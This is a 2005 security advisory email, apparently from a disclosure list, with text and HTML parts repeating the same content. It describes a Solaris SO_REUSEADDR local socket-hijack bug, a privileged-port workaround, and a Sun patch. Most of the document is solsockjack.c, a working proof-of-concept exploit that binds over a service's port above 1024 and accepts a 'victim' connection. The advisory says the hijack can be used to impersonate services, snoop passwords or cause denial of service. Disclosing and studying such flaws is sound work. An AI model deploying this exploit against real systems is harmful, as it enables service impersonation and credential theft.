Solaris has a bug in the use of SO_REUSEADDR in that the kernel favors any socket binding operation that is more specific than the general *.* wildcard bind(). Due to this, a malicious socket can bind to an already bound interface if a specific IP address is used. Exploit included.
9a57bfc1f13e75c3b857db7f9fa66b1d8bc8b6525ba1d8a4eed4fea59f468b53
------=_Part_12546_22614564.1120652641174
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
/*
***************************************************************************=
**************************************
$ An open security advisory #7 - SUN Solaris SO_REUSEADDR Local Socket=20
Hijack Bug
***************************************************************************=
**************************************
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
2: Bug Released: July 06 2005
3: Bug Impact Rate: Medium / Hi
4: Bug Scope Rate: Local / Remote
***************************************************************************=
**************************************
$ This advisory and/or proof of concept code must not be used for commercia=
l=20
gain.
***************************************************************************=
**************************************
Sun MicroSystems
http://www.sun.com
Solaris has a bug in the use of SO_REUSEADDR in that the Kernel favours any=
=20
socket binding operation that
is more specific than the general "*.*" wildcard bind(). As such, a=20
malicious socket can bind to an already
bound interface if a specific IP address is used.
This hijack can be performed against any process over 1024, including root=
=20
owned services, it is not limited
to your own user account. One can then mimic the original service and snoop=
=20
usernames / passwords, files and
data with a trojan version of software, or just cause a DOS against the=20
legitimate service, providing the
service is bound to a port above 1024 and uses the SO_REUSEADDR option.
Anyway, a work around could be setting the port numbers that are valuable t=
o=20
the system as privileged. Using
the following kernel parameter, you can set ports above 1024 to act as=20
reserved so only root can bind to them.
tcp_extra_priv_ports_add
To view privileged ports, run the following command:
ndd /dev/tcp tcp_extra_priv_ports
To set ports as privileged, run the following command:
ndd -set /dev/tcp tcp_extra_priv_ports_add 8080
Effected: All Solaris versions.
Not effected: Linux, OpenBSD, FreeBSD, Windows.
SUN have released a patch for the issue which can be downloaded from=20
sunsolve.
Document Audience: PUBLIC
Document ID: 116965-08
Title: Obsoleted by: 116965-09 SunOS 5.8: ip/arp/tcp/udp patch
Update Date: Thu May 05 09:28:25 MDT 2005
See Patch Revision History
Patch Id: 116965-08
Problem Description:=20
5089150 Binding to a port which has already been bound may incorrectly=20
succeed
*/
/* solsockjack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <arpa/inet.h>
#define BAD "!@#$%^&*()-_=3D+[]{};':\",/<>?\\|`~=20
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
#define DEFHOST "localhost"
#define MAX_INCONN 1
#define PORT 1241 /* Nessus */
#define SYSTEM "SunOS"
#define BL "\x1B[1;34m"
#define NO "\x1B[0m"
#define PI "\x1B[35m"
#define PU "\x1B[1;35m"
#define RE "\x1B[1;31m"
#define WH "\x1B[1;37m"
#define YE "\x1B[1;33m"
void
banner(void)
{
fprintf(stderr, "\n%s[-] %sSUN Solaris SPARC / x86 Local Socket Hijack=20
Exploit\n", YE, NO);
fprintf(stderr, "%s[-] %sKernel issue allows a bind on an already bound=20
socket\n", YE, NO);
fprintf(stderr, "%s[-] %sallowing a malicious user to impersonate a service=
=20
that\n", YE, NO);
fprintf(stderr, "%s[-] %sis already running on a port greater than 1024,=20
making\n", YE, NO);
fprintf(stderr, "%s[-] %sservice-in-the-middle attacks a trivial task to=20
perform.\n", YE, NO);
fprintf(stderr, "%s[-] %sDeveloped by c0ntex || c0ntexb@gmail.com%s\n\n",=
=20
YE, WH, NO);
_exit(EXIT_SUCCESS);
}
void
usage(int argc, char **argv)
{
fprintf(stderr, "%s[-] %s Usage:\n", YE, NO);
fprintf(stderr, "%s[-] %s\t -h \t\tIP address to bind socket to\n", YE, NO)=
;
fprintf(stderr, "%s[-] %s\t -p \t\tport number to attempt hijack of\n", YE,=
=20
NO);
fprintf(stderr, "%s[-] %s\t -v \t\tPrints this help\n", YE, NO);
fprintf(stderr, "%s[-] %s%s -h 10.1.1.215 <http://10.1.1.215> -p 1241\n\n",=
=20
YE, NO, argv[0]);
_exit(EXIT_FAILURE);
}
void
checkerr(char *isvuln)
{
free(isvuln);
puts("Not today!");
_exit(EXIT_FAILURE);
}
void
jackerr(char *vulnerable)
{
free(vulnerable);
_exit(EXIT_FAILURE);
}
char
*checksys(char *isvuln)
{
struct utsname name;
if(uname(&name) < 0) {
puts("uname failed");
}
isvuln =3D malloc(6);
if(!isvuln) {
perror("malloc");
_exit(EXIT_FAILURE);
}
if((name.sysname =3D=3D NULL) || (strlen(name.sysname) < 1) || (strlen(
name.sysname) > 5)) {
checkerr(isvuln);
}
memcpy(isvuln, name.sysname, strlen(name.sysname));
if(!isvuln) {
checkerr(isvuln);
}
return(isvuln);
}
int
main(int argc, char **argv)
{
int inbuf, jacksock, opts, solvuln;
int port =3D PORT;
char *vulnerable =3D NULL;
char *systype =3D NULL;
char *isvuln =3D NULL;
char *bad =3D NULL;
struct sockaddr_in solaris, victims;
if(argc < 2) {
banner();
_exit(EXIT_FAILURE);
}
if((systype =3D checksys(isvuln)) =3D=3D NULL) {
puts("Something messed up!");
checkerr(isvuln);
}
if(strcmp(SYSTEM, systype) !=3D 0) {
puts("System is not supported - SunOS only!");
checkerr(isvuln);
}
fprintf(stderr, "\n%s-> %sOK, potential vulnerable %s[%s] %ssystem,=20
continuing..\n", WH, NO, BL, systype, NO);
free(isvuln); sleep(2);
while((opts =3D getopt(argc, argv, "h:p:v")) !=3D -1) {
switch(opts)
{
case 'h':
bad =3D BAD;
vulnerable =3D malloc(16);
if(!vulnerable) {
perror("malloc");
_exit(EXIT_FAILURE);
}
if((optarg =3D=3D NULL) || (strlen(optarg) < 7) || (strlen(optarg) > 15) ||=
=20
strpbrk(bad, optarg)) {
puts("\n[-] Failed: IP address just isn't right!\n");
jackerr(vulnerable);
}
memcpy(vulnerable, optarg, strlen(optarg));
if(!vulnerable) {
jackerr(vulnerable);
}
break;
case 'p':
port =3D atoi(optarg);
if((port < 1024) || (port > 65535)) {
puts("\n[-] Failed: Port number just isn't right!\n");
usage(argc, argv);
_exit(EXIT_FAILURE);
}
break;
case 'v':
usage(argc, argv);
break;
default:
usage(argc, argv);
break;
}
}
if(vulnerable =3D=3D NULL) {
jackerr(vulnerable);
}
fprintf(stderr, "%s-> %sJacking port %s[%d] %sat address %s[%s]%s\n", WH,=
=20
NO, PI, port, NO, PU, vulnerable, NO);
jacksock =3D socket(AF_INET, SOCK_STREAM, 0);
if(jacksock < 0) {
perror("socket");
jackerr(vulnerable);
} sleep(2);
if(setsockopt(jacksock, SOL_SOCKET, SO_REUSEADDR, &solvuln, sizeof(int)) <=
=20
0) {
perror("setsockopt");
}
solaris.sin_family =3D AF_INET;
solaris.sin_port =3D htons(port);
solaris.sin_addr.s_addr =3D inet_addr(vulnerable);
memset(&solaris.sin_zero, '\0', sizeof(solaris.sin_zero));
if(bind(jacksock, (struct sockaddr *)&solaris, sizeof(struct sockaddr)) < 0=
)=20
{
perror("bind");
fprintf(stderr, "[-] %sFailed: %sCould not snag port, must be patched!\n",=
=20
RE, NO);
jackerr(vulnerable);
}
fprintf(stderr, "%s-> %s%sSuccess!! %sPort %s[%d] %shas been hijacked!\n%s-=
>=20
%sWait...\n", WH, NO, YE, NO, PI, port, NO, WH, NO);
if(listen(jacksock, MAX_INCONN) < 0) {
perror("listen");
puts("[-] Failed: Could not listen for an incoming connection!");
jackerr(vulnerable);
} sleep(2);
fprintf(stderr, "%s-> %sOK, listening for incoming connections to=20
compromise", WH, NO);
inbuf =3D sizeof(victims);
if(accept(jacksock, (struct sockaddr *)&victims, &inbuf) < 0) {
perror("accept");
puts("[-] Failed: Could not accept the incoming connection!");
jackerr(vulnerable);
}
fprintf(stderr, "\n%s-> %sSnagged a victim connecting from %s[%s]%s\n", WH,=
=20
NO, YE, inet_ntoa(victims.sin_addr), NO);
sleep(1);
close(jacksock);
puts("-> Victim has been released to live another day!");
sleep(1);
puts("-> Test was a success!");
free(vulnerable);
return(0);
}
------=_Part_12546_22614564.1120652641174
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
/*<br>
********************************************************************=
*********************************************<br>
$ An open security advisory #7 - SUN Solaris SO_REUSEADDR Local Sock=
et Hijack Bug<br>
********************************************************************=
*********************************************<br>
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com<br>
2: Bug Released: July 06 2005<br>
3: Bug Impact Rate: Medium / Hi<br>
4: Bug Scope Rate: Local / Remote<br>
********************************************************************=
*********************************************<br>
$ This advisory and/or proof of concept code must not be used for co=
mmercial gain.<br>
********************************************************************=
*********************************************<br>
<br>
Sun MicroSystems<br>
<a href=3D"http://www.sun.com">http://www.sun.com</a><br>
<br>
Solaris has a bug in the use of SO_REUSEADDR in that the Kernel favo=
urs any socket binding operation that<br>
is more specific than the general "*.*" wildcard bind(). A=
s such, a malicious socket can bind to an already<br>
bound interface if a specific IP address is used.<br>
<br>
This hijack can be performed against any process over 1024, includin=
g root owned services, it is not limited<br>
to your own user account. One can then mimic the original service an=
d snoop usernames / passwords, files and<br>
data with a trojan version of software, or just cause a DOS against =
the legitimate service, providing the<br>
service is bound to a port above 1024 and uses the SO_REUSEADDR opti=
on.<br>
<br>
Anyway, a work around could be setting the port numbers that are val=
uable to the system as privileged. Using<br>
the following kernel parameter, you can set ports above 1024 to act =
as reserved so only root can bind to them.<br>
<br>
tcp_extra_priv_ports_add<br>
<br>
To view privileged ports, run the following command:<br>
<br>
ndd /dev/tcp tcp_extra_priv_ports<br>
<br>
To set ports as privileged, run the following command:<br>
<br>
ndd -set /dev/tcp tcp_extra_priv_ports_add 8080<br>
<br>
Effected: All Solaris versions.<br>
Not effected: Linux, OpenBSD, FreeBSD, Windows.<br>
<br>
SUN have released a patch for the issue which can be downloaded from=
sunsolve.<br>
<br>
Document Audience: PUBLIC<br>
Document ID: 116965-08<br>
Title: Obsoleted by: 116965-09 SunOS 5.8: ip/arp/t=
cp/udp patch<br>
Update Date: Thu May 05 09:28:25 MDT 2005<br>
See Patch Revision History<br>
<br>
Patch Id: 116965-08<br>
<br>
Problem Description: <br>
<br>
5089150 Binding to a port which has already been bound may incorrect=
ly succeed<br>
<br>
*/<br>
<br>
/* solsockjack.c */<br>
#include <stdlib.h><br>
#include <stdio.h><br>
#include <string.h><br>
#include <unistd.h><br>
#include <netinet/in.h><br>
#include <sys/socket.h><br>
#include <sys/types.h><br>
#include <sys/utsname.h><br>
#include <arpa/inet.h><br>
<br>
#define
BAD
"!@#$%^&*()-_=3D+[]{};':\",/<>?\\|`~
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"<br>
#define DEFHOST "local=
host"<br>
#define MAX_INCONN 1<br>
#define
PORT
1241 /* Nessus */<br>
#define SYSTEM "=
SunOS"<br>
<br>
#define BL  =
; "\x1B[1;34m"<br>
#define NO  =
; "\x1B[0m"<br>
#define PI  =
; "\x1B[35m"<br>
#define PU  =
; "\x1B[1;35m"<br>
#define RE  =
; "\x1B[1;31m"<br>
#define WH  =
; "\x1B[1;37m"<br>
#define YE  =
; "\x1B[1;33m"<br>
<br>
void<br>
banner(void)<br>
{<br>
fprintf(stderr, "\n%s[-]
%sSUN Solaris SPARC / x86 Local Socket Hijack Exploit\n", YE, NO);<br>
fprintf(stderr, "%s[-]
%sKernel issue allows a bind on an already bound socket\n", YE, NO);<b=
r>
fprintf(stderr, "%s[-]
%sallowing a malicious user to impersonate a service that\n", YE, NO);=
<br>
fprintf(stderr, "%s[-] %sis
already running on a port greater than 1024, making\n", YE, NO);<br>
fprintf(stderr, "%s[-]
%sservice-in-the-middle attacks a trivial task to perform.\n", YE, NO)=
;<br>
fprintf(stderr, "%s[-]
%sDeveloped by c0ntex || c0ntexb@gmail.com%s\n\n", YE, WH, NO);<br>
<br>
_exit(EXIT_SUCCESS);<br>
}<br>
<br>
void<br>
usage(int argc, char **argv)<br>
{<br>
fprintf(stderr, "%s[-] %s U=
sage:\n", YE, NO);<br>
fprintf(stderr, "%s[-] %s\t=
-h \t\tIP address to bind socket to\n", YE, NO);<br>
fprintf(stderr, "%s[-] %s\t=
-p \t\tport number to attempt hijack of\n", YE, NO);<br>
fprintf(stderr, "%s[-] %s\t=
-v \t\tPrints this help\n", YE, NO);<br>
<br>
fprintf(stderr, "%s[-] %s%s=
-h <a href=3D"http://10.1.1.215">10.1.1.215</a> -p 1241\n\n", YE, NO,=
argv[0]);<br>
<br>
_exit(EXIT_FAILURE);<br>
}<br>
<br>
void<br>
checkerr(char *isvuln)<br>
{<br>
free(isvuln);<br>
puts("Not today!");<br=
>
_exit(EXIT_FAILURE);<br>
}<br>
<br>
void<br>
jackerr(char *vulnerable)<br>
{<br>
free(vulnerable);<br>
_exit(EXIT_FAILURE);<br>
}<br>
<br>
char<br>
*checksys(char *isvuln)<br>
{<br>
struct utsname name;<br>
<br>
if(uname(&name) < 0) {<br=
>
&nb=
sp; puts("uname failed");<br>
}<br>
<br>
isvuln =3D malloc(6);<br>
if(!isvuln) {<br>
&nb=
sp; perror("malloc");<br>
&nb=
sp; _exit(EXIT_FAILURE);<br>
}<br>
<br>
if((name.sysname =3D=3D NULL) ||
(strlen(name.sysname) < 1) || (strlen(name.sysname) > 5)) {<br>
&nb=
sp; checkerr(isvuln);<br>
}<br>
<br>
memcpy(isvuln, name.sysname, str=
len(name.sysname));<br>
if(!isvuln) {<br>
&nb=
sp; checkerr(isvuln);<br>
}<br>
<br>
return(isvuln);<br>
}<br>
<br>
int<br>
main(int argc, char **argv)<br>
{<br>
int inbuf, jacksock, opts, solvu=
ln;<br>
int port =3D PORT;<br>
<br>
char *vulnerable =3D NULL;<br>
char *systype =3D NULL;<br>
char *isvuln =3D NULL;<br>
char *bad =3D NULL;<br>
<br>
struct sockaddr_in solaris, vict=
ims;<br>
<br>
if(argc < 2) {<br>
&nb=
sp; banner();<br>
&nb=
sp; _exit(EXIT_FAILURE);<br>
}<br>
<br>
if((systype =3D checksys(isvuln)=
) =3D=3D NULL) {<br>
&nb=
sp; puts("Something messed up!");<br>
&nb=
sp; checkerr(isvuln);<br>
}<br>
<br>
if(strcmp(SYSTEM, systype) !=3D =
0) {<br>
&nb=
sp;
puts("System is not supported - SunOS only!");<br>
&nb=
sp; checkerr(isvuln);<br>
}<br>
<br>
fprintf(stderr, "\n%s->
%sOK, potential vulnerable %s[%s] %ssystem, continuing..\n", WH, NO,
BL, systype, NO);<br>
<br>
free(isvuln); sleep(2);<br>
<br>
while((opts =3D getopt(argc, arg=
v, "h:p:v")) !=3D -1) {<br>
&nb=
sp; switch(opts)<br>
&nb=
sp;
{<br>
&nb=
sp;
case 'h':<br>
&nb=
sp; =
bad =3D BAD;<br>
&nb=
sp; =
vulnerable =3D malloc(16);<br>
&nb=
sp; =
if(!vulnerable) {<br>
&nb=
sp; =
&nb=
sp;
perror("malloc");<br>
&nb=
sp; =
&nb=
sp;
_exit(EXIT_FAILURE);<br>
&nb=
sp; =
}<br>
<br>
&nb=
sp; =
if((optarg =3D=3D NULL) || (strlen(optarg) < 7) || (strlen(optarg) >
15) || strpbrk(bad, optarg)) {<br>
&nb=
sp; =
&nb=
sp;
puts("\n[-] Failed: IP address just isn't right!\n");<br>
&nb=
sp; =
&nb=
sp;
jackerr(vulnerable);<br>
&nb=
sp; =
}<br>
<br>
&nb=
sp; =
memcpy(vulnerable, optarg, strlen(optarg));<br>
&nb=
sp; =
if(!vulnerable) {<br>
&nb=
sp; =
&nb=
sp;
jackerr(vulnerable);<br>
&nb=
sp; =
}<br>
&nb=
sp; =
break;<br>
&nb=
sp;
case 'p':<br>
&nb=
sp; =
port =3D atoi(optarg);<br>
&nb=
sp; =
if((port < 1024) || (port > 65535)) {<br>
&nb=
sp; =
&nb=
sp;
puts("\n[-] Failed: Port number just isn't right!\n");<br>
&nb=
sp; =
&nb=
sp;
usage(argc, argv);<br>
&nb=
sp; =
&nb=
sp;
_exit(EXIT_FAILURE);<br>
&nb=
sp; =
}<br>
&nb=
sp; =
break;<br>
&nb=
sp;
case 'v':<br>
&nb=
sp; =
usage(argc, argv);<br>
&nb=
sp; =
break;<br>
&nb=
sp;
default:<br>
&nb=
sp; =
usage(argc, argv);<br>
&nb=
sp; =
break;<br>
&nb=
sp;
}<br>
}<br>
<br>
if(vulnerable =3D=3D NULL) {<br>
&nb=
sp; jackerr(vulnerable);<br>
}<br>
<br>
fprintf(stderr, "%s->
%sJacking port %s[%d] %sat address %s[%s]%s\n", WH, NO, PI, port, NO,
PU, vulnerable, NO);<br>
<br>
jacksock =3D socket(AF_INET, SOC=
K_STREAM, 0);<br>
if(jacksock < 0) {<br>
&nb=
sp; perror("socket");<br>
&nb=
sp; jackerr(vulnerable);<br>
} sleep(2);<br>
<br>
if(setsockopt(jacksock,
SOL_SOCKET, SO_REUSEADDR, &solvuln, sizeof(int)) < 0) {<br>
&nb=
sp; perror("setsockopt");<br>
}<br>
<br>
solaris.sin_family =3D AF_INET;<=
br>
solaris.sin_port =3D htons(port)=
;<br>
solaris.sin_addr.s_addr =3D inet=
_addr(vulnerable);<br>
memset(&solaris.sin_zero, '\=
0', sizeof(solaris.sin_zero));<br>
<br>
if(bind(jacksock, (struct sockad=
dr *)&solaris, sizeof(struct sockaddr)) < 0) {<br>
&nb=
sp; perror("bind");<br>
&nb=
sp;
fprintf(stderr, "[-] %sFailed: %sCould not snag port, must be
patched!\n", RE, NO);<br>
&nb=
sp; jackerr(vulnerable);<br>
}<br>
<br>
fprintf(stderr, "%s->
%s%sSuccess!! %sPort %s[%d] %shas been hijacked!\n%s-> %sWait...\n"=
,
WH, NO, YE, NO, PI, port, NO, WH, NO);<br>
<br>
if(listen(jacksock, MAX_INCONN) =
< 0) {<br>
&nb=
sp; perror("listen");<br>
&nb=
sp;
puts("[-] Failed: Could not listen for an incoming connection!");=
<br>
&nb=
sp; jackerr(vulnerable);<br>
} sleep(2);<br>
<br>
fprintf(stderr, "%s->
%sOK, listening for incoming connections to compromise", WH, NO);<br>
<br>
inbuf =3D sizeof(victims);<br>
<br>
if(accept(jacksock, (struct sock=
addr *)&victims, &inbuf) < 0) {<br>
&nb=
sp; perror("accept");<br>
&nb=
sp;
puts("[-] Failed: Could not accept the incoming connection!");<br=
>
&nb=
sp; jackerr(vulnerable);<br>
}<br>
<br>
fprintf(stderr, "\n%s->
%sSnagged a victim connecting from %s[%s]%s\n", WH, NO, YE,
inet_ntoa(victims.sin_addr), NO);<br>
<br>
sleep(1);<br>
<br>
close(jacksock);<br>
<br>
puts("-> Victim has been=
released to live another day!");<br>
<br>
sleep(1);<br>
<br>
puts("-> Test was a succ=
ess!");<br>
<br>
free(vulnerable);<br>
<br>
return(0);<br>
}<br>
<br>
------=_Part_12546_22614564.1120652641174--